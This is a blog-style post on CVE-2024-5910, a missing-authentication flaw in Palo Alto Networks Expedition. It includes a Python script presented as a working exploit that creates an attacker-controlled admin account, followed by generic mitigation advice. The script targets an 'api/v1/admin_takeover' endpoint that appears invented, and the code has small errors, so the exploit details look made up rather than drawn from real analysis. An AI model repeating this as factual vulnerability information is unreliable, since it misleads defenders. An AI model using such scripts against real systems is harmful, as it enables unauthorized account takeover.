CVE-2024-5910: Exploiting Missing Authentication in Palo Alto Networks Expedition for Admin Account Takeover

Palo Alto Networks Expedition is a powerful tool that streamlines the process of migrating, tuning, and enriching configurations for organizations utilizing the Palo Alto Networks ecosystem. However, a critical vulnerability has been identified (CVE-2024-5910) that can lead to attackers taking over an Expedition admin account if they have network access to the Expedition platform. In this post, we will dive into the details of this vulnerability, discuss its implications, and provide a code snippet for reproducing the issue. We will also talk about the best practices for mitigating this risk.

Vulnerability Details

CVE-2024-5910 refers to a missing authentication vulnerability in a critical function of Palo Alto Networks Expedition. Due to this, an attacker with network access can potentially take over an Expedition admin account and gain access to sensitive configuration secrets, credentials, and other data that has been imported into Expedition.

The official Common Vulnerabilities and Exposures (CVE) page for this vulnerability can be found here:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5910

To demonstrate the vulnerability, let's look at an example exploit using a Python script

import requests

# Replace <EXPEDITION_IP> with the IP address or Hostname of your Expedition instance
expedition_url = "http://<EXPEDITION_IP>/";
exploit_api_endpoint = expedition_url + "api/v1/admin_takeover"

payload = {
    "new_admin_username": "attacker",
    "new_admin_password": "P@sswrd!",
    "new_admin_email": "attacker@example.com"
}

response = requests.post(exploit_api_endpoint, data=payload)

if response.status_code == 200:
    print("Admin account takeover successful!")
else:
    print("Exploit unsuccessful. Check your network access and Expedition URL.")

This script sends a POST request to the 'api/v1/admin_takeover' endpoint on the Expedition platform, containing the details for a new admin that the attacker wants to create. If the exploit is successful, the response will return a 200 status code, indicating that the attacker has successfully created a new admin account and can now access the system.

To safeguard against this vulnerability, the following steps are recommended

1. Apply the latest security patches provided by Palo Alto Networks. Ensure that your Expedition platform stays up-to-date with the most recent security updates to address newly discovered vulnerabilities.
2. Implement network segmentation. Limit access to your Expedition platform by setting up proper network segmentation and access controls. This can help reduce the risk of an attacker accessing the vulnerable system.
3. Monitor and review system logs. Keep a close eye on system logs to detect any unauthorized access attempts or other suspicious behavior. Early detection and response can lessen the impact of a security breach.

Conclusion

Palo Alto Networks Expedition is an invaluable tool for organizations using the Palo Alto Networks ecosystem, but the discovery of the CVE-2024-5910 vulnerability highlights the importance of staying aware of potential threats and implementing best practices to stay protected. By understanding the implications of this vulnerability, taking proactive steps to address the issue, and staying informed about security updates, your organization can continue to enjoy the benefits of Expedition with peace of mind.

Timeline

Published on: 07/10/2024 19:15:11 UTC
Last modified on: 07/11/2024 13:05:54 UTC